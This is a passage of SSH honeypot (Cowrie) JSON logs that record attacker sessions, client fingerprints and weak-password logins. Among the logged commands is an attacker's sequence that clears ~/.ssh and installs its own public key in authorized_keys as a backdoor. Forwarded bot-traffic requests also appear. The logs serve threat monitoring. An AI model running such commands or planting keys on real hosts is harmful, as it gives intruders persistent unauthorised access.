id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03PA0\\xe3\\xeaKJc\\xd2\\xe8\\'Z\\xe7LA\\x94\\xd6\\xfe\\xdd\\xb6\\xf6\\xe78\\xa0\\xce\\xa3\\x0ca\\x1cM@\\xb4 \\xbc\\xed\\xe0\\x87Y\\x05N\\x98Fy\\xf2\\x80r\\xe4:/r\\xd5#\\xac\\xd55\\xe1Cm\\xc4\\x01\\xb3\\xd06\\xa8\\xcf\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf4A\\x10\\x11\\x88S\\xe6\\xe7\\xacSE\\x94.\\xa2\\xd4V\\x0e\\xc7\\x91%\\x06\\x03\\r\\xdb>\\xd4\\xc4R\\'\\x9fez\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:08.048676Z","src_ip":"23.175.50.52","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:08.069706Z","src_ip":"173.208.188.210","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":49974,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aa5e79e67fa","protocol":"ssh","message":"New connection: 23.148.145.132:49974 (10.17.0.5:22) [session: 8aa5e79e67fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:08.122276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:08.127177Z","src_ip":"23.148.145.132","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:08.221445Z","src_ip":"23.148.145.132","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":53785,"dst_ip":"10.17.0.5","dst_port":22,"session":"37e4b463a54a","protocol":"ssh","message":"New connection: 113.164.152.20:53785 (10.17.0.5:22) [session: 37e4b463a54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:09.656232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:09.661700Z","src_ip":"113.164.152.20","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":54018,"dst_ip":"159.203.135.109","dst_port":22,"session":"06fa1e3c661b","protocol":"ssh","message":"New connection: 2.99.213.222:54018 (159.203.135.109:22) [session: 06fa1e3c661b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:09.730388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:09.736341Z","src_ip":"2.99.213.222","session":"06fa1e3c661b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:09.847381Z","src_ip":"2.99.213.222","session":"06fa1e3c661b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:09.990773Z","src_ip":"113.164.152.20","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.1","message":"Connection lost after 27.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:10.072798Z","src_ip":"23.175.50.52","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Oracle11","message":"login attempt [oracle/Oracle11] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:10.296735Z","src_ip":"2.99.213.222","session":"06fa1e3c661b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:10.545396Z","src_ip":"2.99.213.222","session":"06fa1e3c661b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:10.548419Z","src_ip":"2.99.213.222","session":"06fa1e3c661b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:10.551921Z","src_ip":"2.99.213.222","session":"06fa1e3c661b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:10.768656Z","src_ip":"2.99.213.222","session":"06fa1e3c661b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:10.774822Z","src_ip":"23.148.145.132","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:10.948395Z","src_ip":"2.99.213.222","session":"06fa1e3c661b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:10.952109Z","src_ip":"2.99.213.222","session":"06fa1e3c661b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:11.060878Z","src_ip":"2.99.213.222","session":"06fa1e3c661b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:11.065588Z","src_ip":"2.99.213.222","session":"06fa1e3c661b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":54588,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4cdda5add24","protocol":"ssh","message":"New connection: 2.99.213.222:54588 (159.203.135.109:22) [session: b4cdda5add24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:11.159616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:11.165041Z","src_ip":"2.99.213.222","session":"b4cdda5add24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:11.265288Z","src_ip":"2.99.213.222","session":"b4cdda5add24","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:11.375086Z","src_ip":"113.164.152.20","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:11.702165Z","src_ip":"2.99.213.222","session":"b4cdda5add24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:11.821553Z","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:11.930401Z","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:12.249305Z","src_ip":"113.164.152.20","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; A5X MAX.o.01.d4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KipJeDZ4YlU5cmM0WDg4WA%3D%3DLUBKP9mTUqrt0d%2Bk0gi4L5PxArV1H7ESwBjJzJSxUEeXs%2BbIwGAsgxfGxxIFJ6i7uqfhX2fqy9F0qThG%2FznxFhmW72P8QL3yGY802LZ90ZI%2Fx1tolnPVSgFVB5zkibO52wUVoih0ctn7OaSpOfDPOz5T2B8epMgxrwO9CwPPthgQx%2BtZoTm18L%2Fpl1tb1%2B9Jxqtl8pdCWD4t7OWwF3tHMHqFAVf8awKGKfoSSFqH85%2B9R61q2XCgpXmjbkpKcZxoAnQVKNrxKfXGi7XNY4AUs9nPqFwPUGTVAm6Y27hvcWcSBV%2B8HMaH4PFpD9s5C5KQHSW0lRHSvzWH1iIPLlqIFSVUZR7qeZwvG13Sq64C1APyRBhAVqaU1vYgYHkeBBaiYd4BCoagVhO3HA7pnAxWW0Tbv%2BpvyjMdkZ2cYNoAxOK3b9ko0nFbwadFVU5uHax%2FK3ySRtdGy6OT38I9E5GPsFOyCwrSdfc5XvyqN6f8qfvlorZq2Dy1mnNmiWCdLPXuPefoJFw8f5MGbC3E%2Fr9zkUit%2Fvz%2BVGeK1KXbDwiXNVhOjapNdOGstMSVe%2BgQcV9D91Iatid3%2FVQSDhTfgisI41CIIhss%2BXN6KLplFRP3%2BgN0NISYpkwYpO269vavtMd088MN35iGDfLwydYxR1ycNZeUG1isF318rR%2FaZVEy%2BirSXsdSQASQFu5P2YmZE5vfXIwxMjXw0BuqH2HFEnQNosN%2FMiWu3Az8hjraBpY%2FU0bLFzBXbi3x1MmnhAeo55CwoDluyDimOvWC6B25M%2FcM3Yw%2FL7IvaOsSYqlp5J1OOncqySpa0%2BnmP%2F0qddxVn2Tip6pumI2pj8H%2BSbHDNxW4QSphrlgJ%2FbuH0Q94MoUXLtNRFonMm%2FZ0drbFnAU%2F0LvhoYLpmyicKx4J6GMWqW6I%2FXAn1VtijRt9fbazfwE57rIA4sL7h1RRmWdwUo4hjPe3dUBrXhlDicvYQ6U3%2B%2B8RV2zKVXSpaIIF7VIXacv%2FZNJZ8bhP2HQ4j1HmMd55B2aoUBSGPm4IpRbpoMGDS0lGZg%2FRzFHuC377lx19kHYsdEw%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; A5X MAX.o.01.d4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KipJeDZ4YlU5cmM0WDg4WA%3D%3DLUBKP9mTUqrt0d%2Bk0gi4L5PxArV1H7ESwBjJzJSxUEeXs%2BbIwGAsgxfGxxIFJ6i7uqfhX2fqy9F0qThG%2FznxFhmW72P8QL3yGY802LZ90ZI%2Fx1tolnPVSgFVB5zkibO52wUVoih0ctn7OaSpOfDPOz5T2B8epMgxrwO9CwPPthgQx%2BtZoTm18L%2Fpl1tb1%2B9Jxqtl8pdCWD4t7OWwF3tHMHqFAVf8awKGKfoSSFqH85%2B9R61q2XCgpXmjbkpKcZxoAnQVKNrxKfXGi7XNY4AUs9nPqFwPUGTVAm6Y27hvcWcSBV%2B8HMaH4PFpD9s5C5KQHSW0lRHSvzWH1iIPLlqIFSVUZR7qeZwvG13Sq64C1APyRBhAVqaU1vYgYHkeBBaiYd4BCoagVhO3HA7pnAxWW0Tbv%2BpvyjMdkZ2cYNoAxOK3b9ko0nFbwadFVU5uHax%2FK3ySRtdGy6OT38I9E5GPsFOyCwrSdfc5XvyqN6f8qfvlorZq2Dy1mnNmiWCdLPXuPefoJFw8f5MGbC3E%2Fr9zkUit%2Fvz%2BVGeK1KXbDwiXNVhOjapNdOGstMSVe%2BgQcV9D91Iatid3%2FVQSDhTfgisI41CIIhss%2BXN6KLplFRP3%2BgN0NISYpkwYpO269vavtMd088MN35iGDfLwydYxR1ycNZeUG1isF318rR%2FaZVEy%2BirSXsdSQASQFu5P2YmZE5vfXIwxMjXw0BuqH2HFEnQNosN%2FMiWu3Az8hjraBpY%2FU0bLFzBXbi3x1MmnhAeo55CwoDluyDimOvWC6B25M%2FcM3Yw%2FL7IvaOsSYqlp5J1OOncqySpa0%2BnmP%2F0qddxVn2Tip6pumI2pj8H%2BSbHDNxW4QSphrlgJ%2FbuH0Q94MoUXLtNRFonMm%2FZ0drbFnAU%2F0LvhoYLpmyicKx4J6GMWqW6I%2FXAn1VtijRt9fbazfwE57rIA4sL7h1RRmWdwUo4hjPe3dUBrXhlDicvYQ6U3%2B%2B8RV2zKVXSpaIIF7